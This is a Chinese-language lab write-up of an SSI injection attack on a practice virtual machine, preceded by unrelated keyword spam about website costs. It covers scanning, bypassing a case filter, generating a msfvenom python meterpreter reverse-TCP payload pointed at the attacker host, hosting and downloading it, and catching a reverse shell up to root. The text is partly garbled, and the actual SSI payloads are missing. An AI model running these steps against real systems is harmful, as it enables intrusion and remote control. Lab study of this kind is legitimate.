深圳建设网站需要多少钱,简单网页设计成品,做视频直播的网站有哪些,国外网站搭建主机#xff1a;192.168.32.152靶机#xff1a;192.168.32.161ssI是赋予html静态页面的动态效果#xff0c;通过ssi执行命令#xff0c;返回对应的结果#xff0c;若在网站目录中发现了.stm .shtm .shtml等#xff0c;且对应SSL输入没有过滤该网站可能存在SSI注入漏洞ssi…主机192.168.32.152靶机192.168.32.161ssI是赋予html静态页面的动态效果通过ssi执行命令返回对应的结果若在网站目录中发现了.stm .shtm .shtml等且对应SSL输入没有过滤该网站可能存在SSI注入漏洞ssi注入就是寻找输入点输入类似 格式看看能不能运行系统命令。如 切换目录nmapnikto 分析发现可能存在SSI注入dirb 看看目录index目录下有个SSi语句SSI目录下看到应该是和命令注入有关通过robots.txt目录挖掘到站点的根目录打开网页找一个注入点测试后在这里找到发现有过滤大小写可绕过网页给出的测试命名少了个!符号加上测试成功此时我们就可以尝试生成一个python shell 上传到网站服务器根目录上再执行反弹监听msfvenom -p python/meterpreter/reverse_tcp lhost192.168.32.152 lport4444在打开msfconsole监听此时再将生成的pyshell上传至web根目录(/var/www/html)再打开apache服务器在开启apache服务器查看状态再将pyshell下载到站点上再提权然后启动python pyshell.py,成功反弹shell随后进入shell优化终端可以进入root目录
